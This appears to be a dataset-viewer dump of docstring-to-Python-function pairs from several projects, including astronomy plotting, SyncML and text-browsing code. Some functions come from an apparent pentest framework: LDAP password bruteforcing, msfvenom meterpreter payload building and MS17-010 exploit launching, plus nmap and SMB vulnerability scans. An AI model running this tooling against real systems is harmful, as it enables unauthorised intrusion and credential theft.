INSTRUCTION stringlengths 1 8.43k | RESPONSE stringlengths 75 104k |
|---|---|
Given a cluster create a Bokeh plot figure creating an H - R diagram. | def hr_diagram_figure(cluster):
"""
Given a cluster create a Bokeh plot figure creating an
H-R diagram.
"""
temps, lums = round_teff_luminosity(cluster)
x, y = temps, lums
colors, color_mapper = hr_diagram_color_helper(temps)
x_range = [max(x) + max(x) * 0.05, min(x) - min(x) * 0.05]
... |
Given a numpy array calculate what the ranges of the H - R diagram should be. | def calculate_diagram_ranges(data):
"""
Given a numpy array calculate what the ranges of the H-R
diagram should be.
"""
data = round_arr_teff_luminosity(data)
temps = data['temp']
x_range = [1.05 * np.amax(temps), .95 * np.amin(temps)]
lums = data['lum']
y_range = [.50 * np.amin(lums... |
Given a numpy array create a Bokeh plot figure creating an H - R diagram. | def hr_diagram_from_data(data, x_range, y_range):
"""
Given a numpy array create a Bokeh plot figure creating an
H-R diagram.
"""
_, color_mapper = hr_diagram_color_helper([])
data_dict = {
'x': list(data['temperature']),
'y': list(data['luminosity']),
'color': list(data[... |
Create an: class: ~bokeh. models. widgets. TextInput using the cluster. name as the default value and title. | def cluster_text_input(cluster, title=None):
"""
Create an :class:`~bokeh.models.widgets.TextInput` using
the cluster.name as the default value and title.
If no title is provided use, 'Type in the name of your cluster
and press Enter/Return:'.
"""
if not title:
title = 'Type in the ... |
Given a cluster create two Bokeh plot based H - R diagrams. The Selection in the left H - R diagram will show up on the right one. | def hr_diagram_selection(cluster_name):
"""
Given a cluster create two Bokeh plot based H-R diagrams.
The Selection in the left H-R diagram will show up on the
right one.
"""
cluster = get_hr_data(cluster_name)
temps, lums = round_teff_luminosity(cluster)
x, y = temps, lums
colors, c... |
Filter the cluster data catalog into the filtered_data catalog which is what is shown in the H - R diagram. | def _filter_cluster_data(self):
"""
Filter the cluster data catalog into the filtered_data
catalog, which is what is shown in the H-R diagram.
Filter on the values of the sliders, as well as the lasso
selection in the skyviewer.
"""
min_temp = self.temperature_ra... |
Creates a tempfile and starts the given editor returns the data afterwards. | def modify_data(data):
"""
Creates a tempfile and starts the given editor, returns the data afterwards.
"""
with tempfile.NamedTemporaryFile('w') as f:
for entry in data:
f.write(json.dumps(entry.to_dict(
include_meta=True),
default=datetime_handle... |
This functions gives the user a way to change the data that is given as input. | def modify_input():
"""
This functions gives the user a way to change the data that is given as input.
"""
doc_mapper = DocMapper()
if doc_mapper.is_pipe:
objects = [obj for obj in doc_mapper.get_pipe()]
modified = modify_data(objects)
for line in modified:
ob... |
Performs a bruteforce for the given users password domain on the given host. | def bruteforce(users, domain, password, host):
"""
Performs a bruteforce for the given users, password, domain on the given host.
"""
cs = CredentialSearch(use_pipe=False)
print_notification("Connecting to {}".format(host))
s = Server(host)
c = Connection(s)
for user in users:
... |
.. TODO:: move this documentation into model/ adapter. py?... | def Adapter(self, **kw):
'''
.. TODO:: move this documentation into model/adapter.py?...
The Adapter constructor supports the following parameters:
:param devID:
sets the local adapter\'s device identifier. For servers, this
should be the externally accessible URL that launches the SyncML... |
.. TODO:: move this documentation into model/ adapter. py?... | def RemoteAdapter(self, **kw):
'''
.. TODO:: move this documentation into model/adapter.py?...
The RemoteAdapter constructor supports the following parameters:
:param url:
specifies the URL that this remote SyncML server can be reached
at. The URL must be a fully-qualified URL.
:para... |
print information of a pathlib/ os. DirEntry () instance with all is_ * functions. | def pprint_path(path):
"""
print information of a pathlib / os.DirEntry() instance with all "is_*" functions.
"""
print("\n*** %s" % path)
for attrname in sorted(dir(path)):
if attrname.startswith("is_"):
value = getattr(path, attrname)
print("%20s: %s" % (attrname, v... |
Set the access and modified times of the file specified by path. | def utime(self, *args, **kwargs):
""" Set the access and modified times of the file specified by path. """
os.utime(self.extended_path, *args, **kwargs) |
Strip \\ ? \ prefix in init phase | def _from_parts(cls, args, init=True):
"""
Strip \\?\ prefix in init phase
"""
if args:
args = list(args)
if isinstance(args[0], WindowsPath2):
args[0] = args[0].path
elif args[0].startswith("\\\\?\\"):
args[0] = args[0]... |
Add prefix \\ ? \ to every absolute path so that it s a extended - length path that should be longer than 259 characters ( called: MAX_PATH ) see: https:// msdn. microsoft. com/ en - us/ library/ aa365247. aspx#maxpath | def extended_path(self):
"""
Add prefix \\?\ to every absolute path, so that it's a "extended-length"
path, that should be longer than 259 characters (called: "MAX_PATH")
see:
https://msdn.microsoft.com/en-us/library/aa365247.aspx#maxpath
"""
if self.is_absolute()... |
Return the path always without the \\ ? \ prefix. | def path(self):
"""
Return the path always without the \\?\ prefix.
"""
path = super(WindowsPath2, self).path
if path.startswith("\\\\?\\"):
return path[4:]
return path |
Important here is that both are always the same: both with \\ ? \ prefix or both without it. | def relative_to(self, other):
"""
Important here is, that both are always the same:
both with \\?\ prefix or both without it.
"""
return super(WindowsPath2, Path2(self.path)).relative_to(Path2(other).path) |
Formats the output of another tool in the given way. Has default styles for ranges hosts and services. | def format():
"""
Formats the output of another tool in the given way.
Has default styles for ranges, hosts and services.
"""
argparser = argparse.ArgumentParser(description='Formats a json object in a certain way. Use with pipes.')
argparser.add_argument('format', metavar='format', help... |
Print the given line to stdout | def print_line(text):
"""
Print the given line to stdout
"""
try:
signal.signal(signal.SIGPIPE, signal.SIG_DFL)
except ValueError:
pass
try:
sys.stdout.write(text)
if not text.endswith('\n'):
sys.stdout.write('\n')
sys.stdout.flush()
e... |
Draws a ncurses interface. Based on the given object list every object should have a string key this is whats displayed on the screen callback is called with the selected object. Rest of the code is modified from: https:// stackoverflow. com/ a/ 30834868 | def draw_interface(objects, callback, callback_text):
"""
Draws a ncurses interface. Based on the given object list, every object should have a "string" key, this is whats displayed on the screen, callback is called with the selected object.
Rest of the code is modified from:
https://stackov... |
Gets the IP from the inet interfaces. | def get_own_ip():
"""
Gets the IP from the inet interfaces.
"""
own_ip = None
interfaces = psutil.net_if_addrs()
for _, details in interfaces.items():
for detail in details:
if detail.family == socket.AF_INET:
ip_address = ipaddress.ip_address(detail.addre... |
Create a pandas DataFrame from a numpy ndarray. | def pprint(arr, columns=('temperature', 'luminosity'),
names=('Temperature (Kelvin)', 'Luminosity (solar units)'),
max_rows=32, precision=2):
"""
Create a pandas DataFrame from a numpy ndarray.
By default use temp and lum with max rows of 32 and precision of 2.
arr - An numpy.nda... |
Strips labels. | def strip_labels(filename):
"""Strips labels."""
labels = []
with open(filename) as f, open('processed_labels.txt', 'w') as f1:
for l in f:
if l.startswith('#'):
next
l = l.replace(" .", '')
l = l.replace(">\tskos:prefLabel\t", ' ')
l =... |
Remove namespace in the passed document in place. | def remove_namespace(doc, namespace):
'''Remove namespace in the passed document in place.'''
ns = u'{%s}' % namespace
nsl = len(ns)
for elem in doc.getiterator():
if elem.tag.startswith(ns):
elem.tag = elem.tag[nsl:]
elem.attrib['oxmlns'] = namespace |
Resolve a Resource identified by URI: param uri: The URI of the resource to be resolved: type uri: str: return: the contents of the resource as a string: rtype: str | def resolve(self, uri):
""" Resolve a Resource identified by URI
:param uri: The URI of the resource to be resolved
:type uri: str
:return: the contents of the resource as a string
:rtype: str
"""
for r in self.__retrievers__:
if r.match(uri):
... |
Retrieve the contents of the resource | def read(self, uri):
""" Retrieve the contents of the resource
:param uri: the URI of the resource to be retrieved
:type uri: str
:return: the contents of the resource
:rtype: str
"""
req = request("GET", uri)
return req.content, req.headers['Content-Type... |
Check to see if this URI is retrievable by this Retriever implementation | def match(self, uri):
""" Check to see if this URI is retrievable by this Retriever implementation
:param uri: the URI of the resource to be retrieved
:type uri: str
:return: True if it can be, False if not
:rtype: bool
"""
absolute_uri = self.__absolute__(uri)
... |
Retrieve the contents of the resource | def read(self, uri):
""" Retrieve the contents of the resource
:param uri: the URI of the resource to be retrieved
:type uri: str
:return: the contents of the resource
:rtype: str
"""
uri = self.__absolute__(uri)
mime, _ = guess_type(uri)
if "imag... |
Retrieve the contents of the resource | def read(self, uri):
""" Retrieve the contents of the resource
:param uri: the URI of the resource to be retrieved
:type uri: str
:return: the contents of the resource
:rtype: str
"""
return self.__resolver__.getTextualNode(uri).export(Mimetypes.XML.TEI), "text/x... |
Decorator used to tag a method that should be used as a hook for the specified name hook type. | def hook(name):
'''
Decorator used to tag a method that should be used as a hook for the
specified `name` hook type.
'''
def hookTarget(wrapped):
if not hasattr(wrapped, '__hook__'):
wrapped.__hook__ = [name]
else:
wrapped.__hook__.append(name)
return wrapped
return hookTarget |
Subscribes callable to listen to events of name type. The parameters passed to callable are dependent on the specific event being triggered. | def addHook(self, name, callable):
'''
Subscribes `callable` to listen to events of `name` type. The
parameters passed to `callable` are dependent on the specific
event being triggered.
'''
if name not in self._hooks:
self._hooks[name] = []
self._hooks[name].append(callable) |
Creates a tuple of ( Context Adapter ) based on the options specified by self. options. The Context is the pysyncml. Context created for the storage location specified in self. options and the Adapter is a newly created Adapter if a previously created one was not found. | def _makeAdapter(self):
'''
Creates a tuple of ( Context, Adapter ) based on the options
specified by `self.options`. The Context is the pysyncml.Context created for
the storage location specified in `self.options`, and the Adapter is a newly
created Adapter if a previously created one was not found... |
Configures this engine based on the options array passed into argv. If argv is None then sys. argv is used instead. During configuration the command line options are merged with previously stored values. Then the logging subsystem and the database model are initialized and all storable settings are serialized to config... | def configure(self, argv=None):
'''
Configures this engine based on the options array passed into
`argv`. If `argv` is ``None``, then ``sys.argv`` is used instead.
During configuration, the command line options are merged with
previously stored values. Then the logging subsystem and the
database... |
Runs this SyncEngine by executing one of the following functions ( as controlled by command - line options or stored parameters ): | def run(self, stdout=sys.stdout, stderr=sys.stderr):
'''
Runs this SyncEngine by executing one of the following functions
(as controlled by command-line options or stored parameters):
* Display local pending changes.
* Describe local configuration.
* Run an HTTP server and engage server-side mo... |
Format a select statement with specific columns | def _assemble_with_columns(self, sql_str, columns, *args, **kwargs):
"""
Format a select statement with specific columns
:sql_str: An SQL string template
:columns: The columns to be selected and put into {0}
:*args: Arguments to use as query parameters.
:return... |
Alias for _assemble_with_columns | def _assemble_select(self, sql_str, columns, *args, **kwargs):
""" Alias for _assemble_with_columns
"""
warnings.warn("_assemble_select has been depreciated for _assemble_with_columns. It will be removed in a future version.", DeprecationWarning)
return self._assemble_with_columns(sql_st... |
Format a select statement with specific columns | def _assemble_simple(self, sql_str, *args, **kwargs):
"""
Format a select statement with specific columns
:sql_str: An SQL string template
:*args: Arguments to use as query parameters.
:returns: Psycopg2 compiled query
"""
query_string = sql.SQ... |
Execute a query with provided parameters | def _execute(self, query, commit=False, working_columns=None):
"""
Execute a query with provided parameters
Parameters
:query: SQL string with parameter placeholders
:commit: If True, the query will commit
:returns: List of rows
"""
log.debug(... |
Handle provided columns and if necessary convert columns to a list for internal strage. | def process_columns(self, columns):
"""
Handle provided columns and if necessary, convert columns to a list for
internal strage.
:columns: A sequence of columns for the table. Can be list, comma
-delimited string, or IntEnum.
"""
if type(columns) == list:
... |
Execute a DML query | def query(self, sql_string, *args, **kwargs):
"""
Execute a DML query
:sql_string: An SQL string template
:*args: Arguments to be passed for query parameters.
:commit: Whether or not to commit the transaction after the query
:returns: Psycopg2 r... |
Execute a SELECT statement | def select(self, sql_string, cols, *args, **kwargs):
"""
Execute a SELECT statement
:sql_string: An SQL string template
:columns: A list of columns to be returned by the query
:*args: Arguments to be passed for query parameters.
:returns: Psycopg... |
Execute an INSERT statement using a python dict | def insert_dict(self, value_dict, commit=False):
"""
Execute an INSERT statement using a python dict
:value_dict: A dictionary representing all the columns(keys) and
values that should be part of the INSERT statement
:commit: Whether to automatically commit the t... |
Retreive a single record from the table. Lots of reasons this might be best implemented in the model | def get(self, pk):
"""
Retreive a single record from the table. Lots of reasons this might be
best implemented in the model
:pk: The primary key ID for the record
:returns: List of single result
"""
if type(pk) == str:
# Probably a... |
Serializes this FileItem to a byte - stream and writes it to the file - like object stream. contentType and version must be one of the supported content - types and if not specified will default to application/ vnd. omads - file. | def dump(self, stream, contentType=None, version=None):
'''
Serializes this FileItem to a byte-stream and writes it to the
file-like object `stream`. `contentType` and `version` must be one
of the supported content-types, and if not specified, will default
to ``application/vnd.omads-file``.
'''
... |
Reverses the effects of the: meth: dump method creating a FileItem from the specified file - like stream object. | def load(cls, stream, contentType=None, version=None):
'''
Reverses the effects of the :meth:`dump` method, creating a FileItem
from the specified file-like `stream` object.
'''
if contentType is None:
contentType = constants.TYPE_OMADS_FILE
if ctype.getBaseType(contentType) == constants.T... |
This function will call msfvenom nasm and git via subprocess to setup all the things. Returns True if everything went well otherwise returns False. | def setup(self):
"""
This function will call msfvenom, nasm and git via subprocess to setup all the things.
Returns True if everything went well, otherwise returns False.
"""
lport64 = self.port64
lport32 = self.port32
print_notification("Using ip: {}".for... |
Creates the final payload based on the x86 and x64 meterpreters. | def create_payload(self, x86_file, x64_file, payload_file):
"""
Creates the final payload based on the x86 and x64 meterpreters.
"""
sc_x86 = open(os.path.join(self.datadir, x86_file), 'rb').read()
sc_x64 = open(os.path.join(self.datadir, x64_file), 'rb').read()
fp =... |
Combines the files 1 and 2 into 3. | def combine_files(self, f1, f2, f3):
"""
Combines the files 1 and 2 into 3.
"""
with open(os.path.join(self.datadir, f3), 'wb') as new_file:
with open(os.path.join(self.datadir, f1), 'rb') as file_1:
new_file.write(file_1.read())
with open(os.p... |
Runs the checker. py scripts to detect the os. | def detect_os(self, ip):
"""
Runs the checker.py scripts to detect the os.
"""
process = subprocess.run(['python2', os.path.join(self.datadir, 'MS17-010', 'checker.py'), str(ip)], stdout=subprocess.PIPE)
out = process.stdout.decode('utf-8').split('\n')
system_os = ''
... |
Starts the exploiting phase you should run setup before running this function. if auto is set this function will fire the exploit to all systems. Otherwise a curses interface is shown. | def exploit(self):
"""
Starts the exploiting phase, you should run setup before running this function.
if auto is set, this function will fire the exploit to all systems. Otherwise a curses interface is shown.
"""
search = ServiceSearch()
host_search = HostSearch(... |
Exploits a single ip exploit is based on the given operating system. | def exploit_single(self, ip, operating_system):
"""
Exploits a single ip, exploit is based on the given operating system.
"""
result = None
if "Windows Server 2008" in operating_system or "Windows 7" in operating_system:
result = subprocess.run(['python2', os.path... |
A poller which uses epoll () supported on Linux 2. 5. 44 and newer | def epoll_poller(timeout=0.0, map=None):
"""
A poller which uses epoll(), supported on Linux 2.5.44 and newer
Borrowed from here:
https://github.com/m13253/python-asyncore-epoll/blob/master/asyncore_epoll.py#L200
"""
if map is None:
map = asyncore.socket_map
pollster = select.epoll(... |
Get the best available socket poll function: return: poller function | def get_poll_func():
"""Get the best available socket poll function
:return: poller function
"""
if hasattr(select, 'epoll'):
poll_func = epoll_poller
elif hasattr(select, 'poll'):
poll_func = asyncore.poll2
else:
poll_func = asyncore.poll
return poll_func |
Create server instance with an optional WebSocket handler | def make_server(host, port, app=None,
server_class=AsyncWsgiServer,
handler_class=AsyncWsgiHandler,
ws_handler_class=None,
ws_path='/ws'):
"""Create server instance with an optional WebSocket handler
For pure WebSocket server ``app`` may be ``None... |
Poll active sockets once | def poll_once(self, timeout=0.0):
"""
Poll active sockets once
This method can be used to allow aborting server polling loop
on some condition.
:param timeout: polling timeout
"""
if self._map:
self._poll_func(timeout, self._map) |
Start serving HTTP requests | def serve_forever(self, poll_interval=0.5):
"""
Start serving HTTP requests
This method blocks the current thread.
:param poll_interval: polling timeout
:return:
"""
logger.info('Starting server on {}:{}...'.format(
self.server_name, self.server_port... |
read label files. Format: ent label | def read_labels(filename, delimiter=DEFAULT_DELIMITER):
"""read label files. Format: ent label"""
_assert_good_file(filename)
with open(filename) as f:
labels = [_label_processing(l, delimiter) for l in f]
return labels |
write triples into a translation file. | def write_index_translation(translation_filename, entity_ids, relation_ids):
"""write triples into a translation file."""
translation = triple_pb.Translation()
entities = []
for name, index in entity_ids.items():
translation.entities.add(element=name, index=index)
relations = []
for name... |
write triples to file. | def write_triples(filename, triples, delimiter=DEFAULT_DELIMITER, triple_order="hrt"):
"""write triples to file."""
with open(filename, 'w') as f:
for t in triples:
line = t.serialize(delimiter, triple_order)
f.write(line + "\n") |
Returns protobuf mapcontainer. Read from translation file. | def read_translation(filename):
"""Returns protobuf mapcontainer. Read from translation file."""
translation = triple_pb.Translation()
with open(filename, "rb") as f:
translation.ParseFromString(f.read())
def unwrap_translation_units(units):
for u in units: yield u.element, u.index
... |
Returns map with entity or relations from plain text. | def read_openke_translation(filename, delimiter='\t', entity_first=True):
"""Returns map with entity or relations from plain text."""
result = {}
with open(filename, "r") as f:
_ = next(f) # pass the total entry number
for line in f:
line_slice = line.rstrip().split(delimiter)
... |
Prints an overview of the tags of the hosts. | def overview():
"""
Prints an overview of the tags of the hosts.
"""
doc = Host()
search = doc.search()
search.aggs.bucket('tag_count', 'terms', field='tags', order={'_count': 'desc'}, size=100)
response = search.execute()
print_line("{0:<25} {1}".format('Tag', 'Count'))
print_li... |
Main credentials tool | def main():
"""
Main credentials tool
"""
cred_search = CredentialSearch()
arg = argparse.ArgumentParser(parents=[cred_search.argparser], conflict_handler='resolve')
arg.add_argument('-c', '--count', help="Only show the number of results", action="store_true")
arguments = arg.parse_args(... |
Provides an overview of the duplicate credentials. | def overview():
"""
Provides an overview of the duplicate credentials.
"""
search = Credential.search()
search.aggs.bucket('password_count', 'terms', field='secret', order={'_count': 'desc'}, size=20)\
.metric('username_count', 'cardinality', field='username') \
.metric('host_cou... |
Register nemo and parses annotations | def process(self, nemo):
""" Register nemo and parses annotations
.. note:: Process parses the annotation and extends informations about the target URNs by retrieving resource in range
:param nemo: Nemo
"""
self.__nemo__ = nemo
for annotation in self.__annotations__:
... |
Starts the loop to provide the data from jackal. | def pipe_worker(pipename, filename, object_type, query, format_string, unique=False):
"""
Starts the loop to provide the data from jackal.
"""
print_notification("[{}] Starting pipe".format(pipename))
object_type = object_type()
try:
while True:
uniq = set()
#... |
Creates a search query based on the section of the config file. | def create_query(section):
"""
Creates a search query based on the section of the config file.
"""
query = {}
if 'ports' in section:
query['ports'] = [section['ports']]
if 'up' in section:
query['up'] = bool(section['up'])
if 'search' in section:
query['search'] ... |
Creates the workers based on the given configfile to provide named pipes in the directory. | def create_pipe_workers(configfile, directory):
"""
Creates the workers based on the given configfile to provide named pipes in the directory.
"""
type_map = {'service': ServiceSearch,
'host': HostSearch, 'range': RangeSearch,
'user': UserSearch}
config = configpa... |
Loads the config and handles the workers. | def main():
"""
Loads the config and handles the workers.
"""
config = Config()
pipes_dir = config.get('pipes', 'directory')
pipes_config = config.get('pipes', 'config_file')
pipes_config_path = os.path.join(config.config_dir, pipes_config)
if not os.path.exists(pipes_config_path):
... |
Replace isocode by its language equivalent | def f_i18n_iso(isocode, lang="eng"):
""" Replace isocode by its language equivalent
:param isocode: Three character long language code
:param lang: Lang in which to return the language name
:return: Full Text Language Name
"""
if lang not in flask_nemo._data.AVAILABLE_TRANSLATIONS:
lang... |
A function to construct a hierarchical dictionary representing the different citation layers of a text | def f_hierarchical_passages(reffs, citation):
""" A function to construct a hierarchical dictionary representing the different citation layers of a text
:param reffs: passage references with human-readable equivalent
:type reffs: [(str, str)]
:param citation: Main Citation
:type citation: Citation
... |
Take a string of form %citation_type|passage% and format it for human | def f_i18n_citation_type(string, lang="eng"):
""" Take a string of form %citation_type|passage% and format it for human
:param string: String of formation %citation_type|passage%
:param lang: Language to translate to
:return: Human Readable string
.. note :: To Do : Use i18n tools and provide real... |
Annotation filtering filter | def f_annotation_filter(annotations, type_uri, number):
""" Annotation filtering filter
:param annotations: List of annotations
:type annotations: [AnnotationResource]
:param type_uri: URI Type on which to filter
:type type_uri: str
:param number: Number of the annotation to return
:type nu... |
Scans the local files for changes ( either additions modifications or deletions ) and reports them to the store object which is expected to implement the: class: pysyncml. Store interface. | def scan(self, store):
'''
Scans the local files for changes (either additions, modifications or
deletions) and reports them to the `store` object, which is expected to
implement the :class:`pysyncml.Store` interface.
'''
# steps:
# 1) generate a table of all store files, with filename,
... |
Connect to a service to see if it is a http or https server. | def check_service(service):
"""
Connect to a service to see if it is a http or https server.
"""
# Try HTTP
service.add_tag('header_scan')
http = False
try:
result = requests.head('http://{}:{}'.format(service.address, service.port), timeout=1)
print_success("Found http s... |
Retrieves services starts check_service in a gevent pool of 100. | def main():
"""
Retrieves services starts check_service in a gevent pool of 100.
"""
search = ServiceSearch()
services = search.get_services(up=True, tags=['!header_scan'])
print_notification("Scanning {} services".format(len(services)))
# Disable the insecure request warning
urllib... |
Imports the given nmap result. | def import_nmap(result, tag, check_function=all_hosts, import_services=False):
"""
Imports the given nmap result.
"""
host_search = HostSearch(arguments=False)
service_search = ServiceSearch()
parser = NmapParser()
report = parser.parse_fromstring(result)
imported_hosts = 0
impor... |
Start an nmap process with the given args on the given ips. | def nmap(nmap_args, ips):
"""
Start an nmap process with the given args on the given ips.
"""
config = Config()
arguments = ['nmap', '-Pn']
arguments.extend(ips)
arguments.extend(nmap_args)
output_file = ''
now = datetime.datetime.now()
if not '-oA' in nmap_args:
outp... |
This function retrieves ranges from jackal Uses two functions of nmap to find hosts: ping: icmp/ arp pinging of targets lookup: reverse dns lookup | def nmap_discover():
"""
This function retrieves ranges from jackal
Uses two functions of nmap to find hosts:
ping: icmp / arp pinging of targets
lookup: reverse dns lookup
"""
rs = RangeSearch()
rs_parser = rs.argparser
arg = argparse.ArgumentParser(parents... |
Scans the given hosts with nmap. | def nmap_scan():
"""
Scans the given hosts with nmap.
"""
# Create the search and config objects
hs = HostSearch()
config = Config()
# Static options to be able to figure out what options to use depending on the input the user gives.
nmap_types = ['top10', 'top100', 'custom', 'top10... |
Scans available smb services in the database for smb signing and ms17 - 010. | def nmap_smb_vulnscan():
"""
Scans available smb services in the database for smb signing and ms17-010.
"""
service_search = ServiceSearch()
services = service_search.get_services(ports=['445'], tags=['!smb_vulnscan'], up=True)
services = [service for service in services]
service_dict = ... |
Performs os ( and domain ) discovery of smb hosts. | def os_discovery():
"""
Performs os (and domain) discovery of smb hosts.
"""
hs = HostSearch()
hosts = hs.get_hosts(ports=[445], tags=['!nmap_os'])
# TODO fix filter for emtpy fields.
hosts = [host for host in hosts if not host.os]
host_dict = {}
for host in hosts:
hos... |
Function to create an overview of the services. Will print a list of ports found an the number of times the port was seen. | def overview():
"""
Function to create an overview of the services.
Will print a list of ports found an the number of times the port was seen.
"""
search = Service.search()
search = search.filter("term", state='open')
search.aggs.bucket('port_count', 'terms', field='port', order={'_c... |
Rename endpoint function name to avoid conflict when namespacing is set to true | def _plugin_endpoint_rename(fn_name, instance):
""" Rename endpoint function name to avoid conflict when namespacing is set to true
:param fn_name: Name of the route function
:param instance: Instance bound to the function
:return: Name of the new namespaced function name
"""
if instance and i... |
Retrieve the best matching locale using request headers | def get_locale(self):
""" Retrieve the best matching locale using request headers
.. note:: Probably one of the thing to enhance quickly.
:rtype: str
"""
best_match = request.accept_languages.best_match(['de', 'fr', 'en', 'la'])
if best_match is None:
if len... |
Transform input according to potentially registered XSLT | def transform(self, work, xml, objectId, subreference=None):
""" Transform input according to potentially registered XSLT
.. note:: Since 1.0.0, transform takes an objectId parameter which represent the passage which is called
.. note:: Due to XSLT not being able to be used twice, we rexsltise... |
Request the api endpoint to retrieve information about the inventory | def get_inventory(self):
""" Request the api endpoint to retrieve information about the inventory
:return: Main Collection
:rtype: Collection
"""
if self._inventory is not None:
return self._inventory
self._inventory = self.resolver.getMetadata()
ret... |
Retrieve and transform a list of references. | def get_reffs(self, objectId, subreference=None, collection=None, export_collection=False):
""" Retrieve and transform a list of references.
Returns the inventory collection object with its metadata and a callback function taking a level parameter \
and returning a list of strings.
:pa... |
Retrieve the passage identified by the parameters | def get_passage(self, objectId, subreference):
""" Retrieve the passage identified by the parameters
:param objectId: Collection Identifier
:type objectId: str
:param subreference: Subreference of the passage
:type subreference: str
:return: An object bearing metadata an... |
Get siblings of a browsed subreference | def get_siblings(self, objectId, subreference, passage):
""" Get siblings of a browsed subreference
.. note:: Since 1.0.0c, there is no more prevnext dict. Nemo uses the list of original\
chunked references to retrieve next and previous, or simply relies on the resolver to get siblings\
... |
Generates a SEO friendly string for given collection | def semantic(self, collection, parent=None):
""" Generates a SEO friendly string for given collection
:param collection: Collection object to generate string for
:param parent: Current collection parent
:return: SEO/URL Friendly string
"""
if parent is not None:
... |
Creates a CoINS Title string from information | def make_coins(self, collection, text, subreference="", lang=None):
""" Creates a CoINS Title string from information
:param collection: Collection to create coins from
:param text: Text/Passage object
:param subreference: Subreference
:param lang: Locale information
:re... |
Build an ancestor or descendant dict view based on selected information | def expose_ancestors_or_children(self, member, collection, lang=None):
""" Build an ancestor or descendant dict view based on selected information
:param member: Current Member to build for
:param collection: Collection from which we retrieved it
:param lang: Language to express data in... |
Build member list for given collection | def make_members(self, collection, lang=None):
""" Build member list for given collection
:param collection: Collection to build dict view of for its members
:param lang: Language to express data in
:return: List of basic objects
"""
objects = sorted([
se... |
Build parents list for given collection | def make_parents(self, collection, lang=None):
""" Build parents list for given collection
:param collection: Collection to build dict view of for its members
:param lang: Language to express data in
:return: List of basic objects
"""
return [
{
... |
Retrieve the top collections of the inventory | def r_collections(self, lang=None):
""" Retrieve the top collections of the inventory
:param lang: Lang in which to express main data
:type lang: str
:return: Collections information and template
:rtype: {str: Any}
"""
collection = self.resolver.getMetadata()
... |
Collection content browsing route function | def r_collection(self, objectId, lang=None):
""" Collection content browsing route function
:param objectId: Collection identifier
:type objectId: str
:param lang: Lang in which to express main data
:type lang: str
:return: Template and collections contained in given col... |
Text exemplar references browsing route function | def r_references(self, objectId, lang=None):
""" Text exemplar references browsing route function
:param objectId: Collection identifier
:type objectId: str
:param lang: Lang in which to express main data
:type lang: str
:return: Template and required information about t... |
Provides a redirect to the first passage of given objectId | def r_first_passage(self, objectId):
""" Provides a redirect to the first passage of given objectId
:param objectId: Collection identifier
:type objectId: str
:return: Redirection to the first passage of given text
"""
collection, reffs = self.get_reffs(objectId=objectId... |
Retrieve the text of the passage | def r_passage(self, objectId, subreference, lang=None):
""" Retrieve the text of the passage
:param objectId: Collection identifier
:type objectId: str
:param lang: Lang in which to express main data
:type lang: str
:param subreference: Reference identifier
:type... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.